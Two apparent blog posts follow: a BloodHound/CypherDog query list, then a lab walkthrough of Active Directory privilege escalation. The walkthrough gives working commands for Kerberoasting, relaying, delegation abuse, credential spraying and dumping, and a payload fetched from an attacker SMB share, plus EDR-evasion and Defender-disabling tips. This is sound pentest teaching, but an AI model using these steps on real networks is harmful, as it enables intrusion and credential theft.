The tool in itself isn’t confusing, it’s just there’s so much data and so much you can do, that it becomes overwhelming quickly, especially from a blue team perspective where there’s all these paths leading to a domain controller. Often times, I just wanted to list only the machines that allowed Unconstrained Delegation, or just the output of the node details for all domain admins to see when their passwords were changed last. Generating these metrics was a pain, because you’d have to click on a node, screenshot, paste into report, then click on the next node and so on. Luckily, @SadProcessor read my mind and probably other people’s as well, and developed CypherDog. Instantly, this made generating statistics so much easier. You want the node details of every DA? Easy. You want to list every computer that allows Unconstrained Delegation? Done. This is all done via Powershell and it’s extremely simple to use. I encourage you to watch SadProcessor’s talk at Troopers on using CypherDog as it’s a phenomenal talk.

With that being said, I figured I’d publish some of my favorite commands for CypherDog. This is more geared towards the blue team, but obviously that means the red team could use it too.

First, setting up CypherDog is easy. Once you have Bloodhound worked and have active data in it, download the repository for CypherDog here, then import the .ps1 file.

Import-Module .\CypherDog2.1.ps1

Stop the neo4j service

net stop neo4j

Open the neo4j config file in your neo4j directory /conf/neo4j.conf and uncomment the line that says

dbms.security.auth_enabled=false

So that it can use the DB without authentication locally.

Then start neo4j

net start neo4j

And you can now see the commands you can use with CypherDog via the command

BloodHound

Here’s a few of my most used commands.

Purpose Command
List all members of the Domain Admins groupList Member ‘DOMAIN ADMINS@DOMAIN.LOCAL’ | ft name,description,pwdlastset,lastlogon,serviceprincipalnames,homedirectory
List all computers that allow Unconstrained Delegation, list only the name and Object IDNode Computer | where unconstraineddelegation -eq $true | select name,objectsid
Find all groups with ‘admin’ in itNodeSearch Group admin | ft name,description
Path find from user to Domain Admins groupPath User Group BOB@DOMAIN.LOCAL ‘DOMAIN ADMINS@DOMAIN.LOCAL’
Path find from user to computerPath User Computer BOB@DOMAIN.LOCAL ‘EXCHANGE@DOMAIN.LOCAL’
See what groups an object is part ofEdge User USER@DOMAIN.LOCAL MemberOf Group
See what computers a user can RDP toEdge User BOB@DOMAIN.LOCAL CanRDP Computer
See what users can RDP into a computerEdgeR User CanRDP Computer DC01.DOMAIN.LOCAL
See what users have GenericWrite on a computerEdgeR User GenericWrite Computer DC01.DOMAIN.LOCAL
See what users have GenericWrite into a groupEdgeR User GenericWrite Group ‘DOMAIN ADMINS@DOMAIN.LOCAL’
View all objects with SPNsNode User | where hasspn -eq $true | ft name,serviceprincipalnames
View all high value groups and their descriptionsHighValue Group | ft name, description
View all GPOs and their pathNode GPO | ft name,gpcpath
See all OUs that allow inheritanceNode OU | where blocksinheritance -eq $false | ft name
View all user’s email addressesNode User | ft displayname, name, email 
View all 2003 machines. Replace 2003 with xp, 7, 10, 2012, etc. for that OS.Node Computer | where operatingsystem -match 2003 | ft name,operatingsystem
View all GPOs for a domain. Press enter when PS asks for a ‘key’.NodeSearch GPO | where name -match DOMAIN | ft name,description
View if a computer with a specific OS has logged on recently (Use first four digits from toady’s Unix Epoch time: http://epochconverter.com) Node Computer | where operatingsystem -match 2008 | where lastlogontimestamp -match 1566

This list is of course not comprehensive and will be updated regularly, but these are just some of the ones I use the most. I’m open to any suggestions, feel free to message me on Twitter @haus3c

Credits:

CypherD0g – @SadProcessor

BloodHound – @SpecterOps, @CptJesus, @Wald0, & @harj0y

 

Penetration Testing Active Directory, Part II

In the previous article, I obtained credentials to the domain three different ways. For most of this part of the series, I will use the rsmith user credentials, as they are low-level, forcing us to do privilege escalation.

Privilege escalation in Windows can of course come from a missing patch or unquoted service paths, but since this is pentesting AD, we’re going to exploit some AD things in order to elevate privileges.

With credentials to the network we now should do a little recon before we directly look to missing patch exploits. There’s a few tools and techniques that will help.

Phase II: Privilege Escalation & Reconnaissance

“Time spent on reconnaissance is seldom wasted.” – Arthur Wellesley 


Tool: Bloodhound

One of my favorite tools is Bloodhound.

Defenders think in lists. Attackers think in graphs. As long as this is true, attackers win.

https://blogs.technet.microsoft.com/johnla/2015/04/26/defenders-think-in-lists-attackers-think-in-graphs-as-long-as-this-is-true-attackers-win/

Bloodhound is an excellent tool because it literally maps out the domain in a graph, revealing relationships that are both intended and not intended. From an attacker perspective, this is interesting because it shows us targets.

I wrote a whole thing on Bloodhound, which can be read here, but I’ll show a tl;dr version.

Let’s assume you don’t have a session opened on a machine, but you have credentials. You can still use Bloodhound’s Python ingestor and remotely gather the data. It can in be installed via git

git clone https://github.com/fox-it/BloodHound.py.git
cd BloodHound.py/ && pip install .

Then can be ran by passing in the credentials, domain, and DC IP

bloodhound-python -d lab.local -u rsmith -p Winter2017 -gc LAB2008DC01.lab.local -c all

Once BH does it’s thing, it will store the data in the directory you ran it in, in .json format. Copy those files, then drag them into Bloodhound and you now have a pretty graph of the network. If you sort by “Shortest path to domain admin” you’ll get something similar to below

AdminAlice is logged into a DC.

The power of this is that you can directly see what administrators are logged into what machines, giving you a next target. In a domain of hundreds or maybe even thousands of machines that will accept low-privilege credentials, you don’t want to waste time by just gathering other low-priv creds. This gives a target list, among many other things. Other uses can include identifying SQL servers that might have databases containing credentials, identifying what machines can be RDP’d into, and so much more. I encourage you to read more about it’s capabilities in depth here. I also encourage you to look at GoFetch, which automatically utilizes an attack plan drawn out by Bloodhound.


Attack: Kerberoasting | Tool: GetUserSPNs.py

With a target list and a domain controller identified, one way of privilege escalation is Kerberoasting. Kerberoasting is possible because service accounts are issued a Service Principal Name (SPN) within AD. It is possible then for any user to request a Kerberos ticket from the SPN, which has that accounts hashed password (In Kerberos 5 TGS-REP format). There are many different tools that can do Kerberoasting, but really you only need one tool.

GetUserSPNs.py is pretty self explanatory — it queries the target domain for SPNs that are running under a user account. Using it is pretty simple.

And now we have the hash to a service account. I load it into hashcat (GUI, of course) and select hash type 13100, as highlighted below

And it cracks within a few seconds

We now have the credentials to a service account, which usually results in access to the domain controller. Too easy? Let’s try other ways.


Attack: ASEPRoasting | Tool: Rubeus

ASEPRoasting is similar to Kerberoasting in the sense that we query accounts for TGTs, get the hash, then crack it, however in the case of ASEPRoasting there’s a very big caveat: Kerberos pre-authentication must be disabled, which is not a default setting. When you request a TGT, via a Kerberos AS-REQ message, you also supply a timestamp that is encrypted with your username and password. The Key Distribution center (KDC) then decrypts the timestamp, verifies the request is coming from that user, then continues with the authentication process. This is the pre-authentication process for Kerberos, which is obviously a problem for an attacker because we aren’t the KDC and cannot decrypt that message. Of course, this is by design, to prevent attacks, however if pre-authentication is turned off, we can send an AS-REQ to any user which will return their hashed password in return. Since pre-auth is enabled by default, it has to be manually turned off, so this is rare, however still worth mentioning.

tsmith is susceptible to ASREPRoasting because ‘Do not require Kerberos preauthentication’ is checked.

To exploit this, we’ll use a tool called Rubeus. Rubeus is a massive toolset for abusing Kerberos, but for conducting ASREPRoasting, we care about this section. To use Rubeus, you first need to install Visual Studio. Once installed, download Rubeus and open the Rubeus.sln file with Visual studio.

By default, it will install in the Rubeus\bin\Debug\ file. cd into that directory, then run it:

 .\Rubeus.exe asreproast

If no users have ‘Do not require Kerberos preauthentication’ checked, then there won’t be any users to roast. But if there is…

We then can get the hash for the user and crack it.

Keep in mind that the examples were done on a computer already joined to the domain, so if you were doing this from a computer not on the domain, you would have to pass in the domain controller, domain name, OUs, etc.


Tool: SILENTTRINITY

SILENTTRINITY is a Command and Control (C2) framework developed by @byt3bl33d3r which utilizes IronPython and C#. One of the payload options is to use MSBuild.exe, a Windows binary which builds C# code (which is also installed by default with Windows 10, as part of .NET) via XML. This allows us to embed a payload into it and then use the underlying .NET framework to do as they please on the victim’s machine via IronPython, C#, and other languages.

Below is a PoC in a fresh Windows 10 install, using a non-Domain Admin user’s credentials

Account “tsmith” is only in the user’s group
Code execution with tsmith’s credentials

I generate the XML payload in SILENTTRINITY, then host it on my SMB server via smbserver.py. If you’re confused on how to do that, follow my guide here. I then use CME to execute the command that will fetch the XML file on my attacker machine.

crackmapexec 192.168.218.60 -u tsmith -p Password! -d lab.local -x 'C:\Windows\Microsoft.NET\Framework64\v4.0.30319\msbuild.exe  \\192.168.218.129\SMB\msbuild.xml' --exec-method atexec
CME executes the supplied command, which runs msbuild.exe and tells it to build the XML file hosted on my SMB server

I now have a session opened in ST

And listing the info for the session reveals my username is SYSTEM, meaning I escalated from user tsmith to SYSTEM, due to the fact that MSBuild.exe ran with the –exec-method atexec option, which uses Task Scheduler with SYSTEM privileges (or whatever the highest possible it) to run the command.

And of course, we then dump credentials and now have an administrator password hash which we can pass or crack.

 

Attack: PrivExchange

PrivExchange takes advantage of the fact that Exchange servers are over-permissioned by default. This was discovered by Dirkjann a little over a month ago and is now an excellent way of quickly escalating privileges.

It works by querying the Exchange server, getting a response back that contains the Exchange server’s credentials, then relaying the credentials in the response to the Domain Controller via ntlmrelayx, then modifying a user’s privileges so they can dump the hashes on the domain controller.

Setting this up was kind of a pain. Exchange 2013 is installed using the default methods on a Windows 2012 R2 server, and I made this modification to the PrivExchange python script to get it to work without a valid SSL certificate. After that, it ran fine.

First, start ntlmrelayx.py and point it to a DC, authenticate via LDAP and escalate privileges for a user.

ntlmrelayx.py -t ldap://192.168.218.10 --escalate-user rsmith

Then, run privexchange.py by passing in your attacker IP (-ah), the target, and user/password/domain.

python privexchange.py -ah 192.168.218.129 LAB2012DC02.lab.local -u rsmith -d lab.local -p Winter201
Privexchange.py makes the API call to the echange
ntlmrelayx relays the Exchange server’s credentials to the Master DC, then escalates rsmith’s privileges
Using rsmith’s privileges to dump the hashes on the DC.

With the hashes to all users, they can now be cracked.

Side note: If you ever run Mimikatz and it gets caught by AV, secretsdump.py is an excellent alternative, as it doesn’t drop anything to disk.


Attack: Resource-based Constrained Delegation, Part #1

Also from Dirk-jan, is an attack that takes advantage of default AD installs. Specifically, the fact that computers can, by default, change some attributes relating to their permissions such as msDS-AllowedToActOnBehalfOfOtherIdentity. This attribute controls whether users can login to (almost) any computer on the domain via Kerberos impersonation. This is all possible through relaying credentials. I’ve demonstrated mitm6 in part one, so I’ll use it again here, but relay the responses in a different way.

mitm6 -i ens33 -d lab.local

I then serve the WPAD file and relay the credentials over LDAPS to the primary DC while choosing the delegate access attack method.

ntlmrelayx.py -t ldaps://LAB2012DC01.lab.local -wh 192.168.10.100 --delegate-access

The victim opens IE, which sends out a WPAD request over IPv6, which the attacker (me) responds to and relays those credentials to the DC over LDAPS. A new computer is created and the delegation rights are modified so that the new ‘computer’ can impersonate any user on LABWIN10 (the victim) via the msDS-AllowedToActOnBehalfOfOtherIdentity attribute. So I now generate a silver ticket and impersonate the user ‘Administrator’.

getST.py -spn cifs/LABWIN10.lab.local lab.local/AFWMZ0DS\$ -dc-ip 192.168.10.10 -impersonate Administrator

I then logon to LABWIN10 with my silver ticket via secretsdump.py and dump the credentials.

To read more on silver ticket attacks and how they work, this is a good article.


Attack: Resource-based Constrained Delegation, Part #2

Yes, more attacks due to the msDS-AllowedToActOnBehalfOfOtherIdentity attribute. @harmj0y made a post a few weeks ago on this. Essentially, if you’re able to change a computer object in AD, you can take over the computer itself. The only catch to this is there needs to be one 2012+ domain controller, as older versions do not support resource-based constrained delegation (RBCD). Elad Shamir breaks the entire attack down, including more about RBCD, in this article.

There’s three tools used for this:

Powermad

Powerview

Rubeus

This attack is then conducted on the Windows 10 machine with rsmith’s credentials. First, we set the executionpolicy to bypass so we can import and run scripts.

Set-ExecutionPolicy -ExecutionPolicy Bypass -Scope CurrentUser

Then we check to see if we can modify discretionary access control lists (DACLs).

$AttackerSID = Get-DomainGroup Users -Properties objectsid | Select -Expand objectsid
Get-DomainObjectACL LAB2012DC01.lab.local | ?{$_.SecurityIdentifier -match $AttackerSID}

The above commands look up rights for the ‘Users’ SID, showing that the group has ‘Generate Write’ permissions on the object (the DC).

By default, this isn’t exploitable. This is abusing a potential misconfiguration an Administrator made; in this example it is the fact that the Admin added the “Users” group as a principal to the DC and allowed the GenericWrite attribute.

As a PoC, rsmith (who is in the “Users” group), cannot get into the DC.

What we do next is create a new computer account and modify the property on the domain controller to allow the new computer account to pretend to be anyone to the domain controller, all thanks to the msDS-allowedToActOnBehalfOfOtherIdentity. It’s possible for us to create a new computer account, because by default a user is allowed to create up to 10 machine accounts. Powermad has a function for it

New-MachineAccount -MachineAccount hackermachine -Password $(ConvertTo-SecureString 'Spring2017' -AsPlainText -Force)

We then add the new machine’s SID to the
msDS-allowedToActOnBehalfOfOtherIdentity attribute on the DC.

$ComputerSid = Get-DomainComputer hackermachine -Properties objectsid | Select -Expand objectsid
$SD = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList "O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;$($ComputerSid))"
$SDBytes = New-Object byte
$SD.GetBinaryForm($SDBytes, 0)
Get-DomainComputer $TargetComputer | Set-DomainObject -Set @{'msds-allowedtoactonbehalfofotheridentity'=$SDBytes}

Then use Rubeus to get the NT password for our created machine.

 .\Rubeus.exe hash /password:Spring2017 /user:hackermachine /domain:lab.local 

Finally, we then impersonate a domain administrator (Administrator) using Rubeus’ service for user (S4U) process on the target DC.

.\Rubeus.exe s4u /user:hackermachine$ /rc4:9EFAFD86A2791ED001085B4F878AF381 /impersonateuser:Administrator /msdsspn:cifs/LAB2012DC01.lab.local /ptt

With the ticket imported, we can then access the domain controller.

Again, this is leveraging the fact that the system administrator dun goofed and added the ‘Users’ group to have Generic_Write access to the DC. Even though we couldn’t access it via SMB, we modified the permissions that would allow us to. If you’re still confused, here’s a video from SpecterOps demonstrating a walkthrough.


Attack: MS14-025, GPP

This one is less common as it’s been out for quite some time, however it gets a mention because it still does exist. MS14-025 is also known as the group policy preferences escalation vulnerability.

When a Domain Administrator would push out a local administrator account via Group Policy Preferences, it would store the encrypted credentials in the SYSVOL share on the domain controller (SYSVOL is accessible by anyone, as it’s where policies are stored and other things domain clients need to access). This typically wouldn’t be a problem because it’s encrypted with AES encryption, right? Well, Microsoft dun goofed and published the decryption key. So now, attackers can decode the password. To simplify things, Metasploit has an auxiliary module for this.


Attack: Finding over privileged accounts | Tool: CrackMapExec

Ok, this one isn’t necessarily an “attack” as much as it is a methodology of doing good reconnaissance and enumeration, which a few tools can help out with. This seems like kinda of a stretch from an article standpoint, but in reality over privileged accounts are so incredibly common, that it’s not unusual to find one persons accounts then log into another persons workstation and have read access to their stuff. In addition, having privileges to servers where that user should have no business accessing, which of course leads to the attacker just dumping credentials everywhere and eventually finding creds that work on the domain controller.

The methodology here is pretty easy: Spray the credentials across the network, see what you can log into. With crackmapexec, you can list the shares and see what you have write access to.

crackmapexec 192.168.218.0/24 -u rsmith -p Winter2017 --shares

From here, use SILENTTRINITY to get a session open on what the user has write access to, run the mimikatz module, and hope you find new credentials that are privileged. Remember, you can use CME with CIDRs, meaning if you’re using SILENTTRINITY as your C2 server and using CME to trigger the connection, you can spray that across the network for maximum sessions. Although it’s not very OpSec friendly and quite noisy. Consider it a test to see how their detection and response posture is 🙂


Tools: PowerTools Suite

Attack 1: Finding passwords in files.

Another thing to look for is passwords in files. There’s been several occasions where I find a user is storing emails in their Documents folder, which contains a password. Or they keep an Excel/Word file with passwords in it. This is where the PowerSploit suite comes in handy. Where do I begin with the PowerSploit suite…basically if you want to do something malicious, there’s a Powershell module for it. In the case of searching for passwords, or any string for that matter, PowerView is your friend. Keep in mind EDRs catch basically every module in this suite, so I suggest encoding them before using via Invoke-Obfuscation. PowerView is easy to use. Download the PowerSploit suite, and open Powershell in the directory you’ve extracted it in (make sure you’re admin).

First, allow scripts to be ran.

Set-ExecutionPolicy Bypass

Then import the module

Import-Module .\PowerView.ps1

In the PowerView module is a command called Invoke-FileFinder, which allows you to search for files or in files for any string you want. Consider the string ‘password’.

Search the C drive for anything containing the string ‘password’
Found a secret password file!

Just be mindful that this takes a very long time. It helps to narrow the search area down and running the command from that directory.

Attack 2: Get-ExploitableSystem

This is a pretty self-explanatory script. It will query Active Directory for the hostname, OS version, and service pack level for each computer account, then cross-referenced against a list of common Metasploit exploits.

First import the whole PowerSploit suite (Or just PowerView if you want)

Import-Module .\PowerSploit.psd1

Then run the command

Get-ExploitableSystem -Verbose
Hurray for Windows XP!

Attack 3: PowerUp

In the PowerUp module is a function called “Invoke-All-Checks” which does exactly what it says it does. It checks for everything, from unquoted service paths (which I wrote on how to exploit here) to looking for MS14-025, it does a lot. Look at the Github for more info.

Using it is simple

Invoke-AllChecks
Thanks MSI.

Attack 4: GetSystem

This module does the same thing the Metasploit ‘GetSystem’ function does. To find out more about what exactly that entails, read this excellent post by CobaltStrike.

Otherwise, just run the command.

Get-System -Technique Token

or

Get-System -ServiceName 'PrivescSvc' -PipeName 'secret' 
I am just a lonely Admin.
I am SYSTEM!

Tool(s): ADAPE

Personally, I wrote one called ADAPE – The Active Directory Assessment and Privilege Escalation script

ADAPE is written in Powershell and uses several different other tool’s functions and runs them automatically, preventing the need to port over multiple tools. It’s also obfuscated and turns off Windows Defender to help bypass EDR.

ADAPE is meant to be easy to use. Download it, port it over to your target Windows Machine, and run it

PowerShell.exe -ExecutionPolicy Bypass ./ADAPE.ps1 

Since all the necessary scripts are included, it doesn’t need to reach out to the internet and will store the results in a capture.zip file that can be exported.

Error messages are normal, unless it breaks. Then report.
Looking for GPP passwords, Kerberoasting, and running Bloodhound ingestor
Checking for privesc, then deleting the files it made and zipping up the capture file.

If you open up the capture file, you’ll have all the results.


Again, by all means, this is not comprehensive. This is just a few tools and attacks I’ve used successfully over the years, so there’s a good chance at least one of these works. In part III, I will go over post-exploitation and persistence.

Resources and References:

I take no credit for the discovery of any of these techniques, I’m just the dude that makes an article about the ones I like to use.

Massive thank you to @harmj0y, @cptjesus, @_wald0, and the rest of the team at SpecterOps for the amazing research they do as well as creation of several excellent tools.

Thank you to the Bloodhound Slack for answering my question.

Thank you @byt3bl33d3r and the team at Black Hills InfoSec for the research and tools they make.

Thank you @_dirkjan and the team at Fox-it for the research and tools.

Thank you secureauth for impacket, a staple in every pentesters tool kit.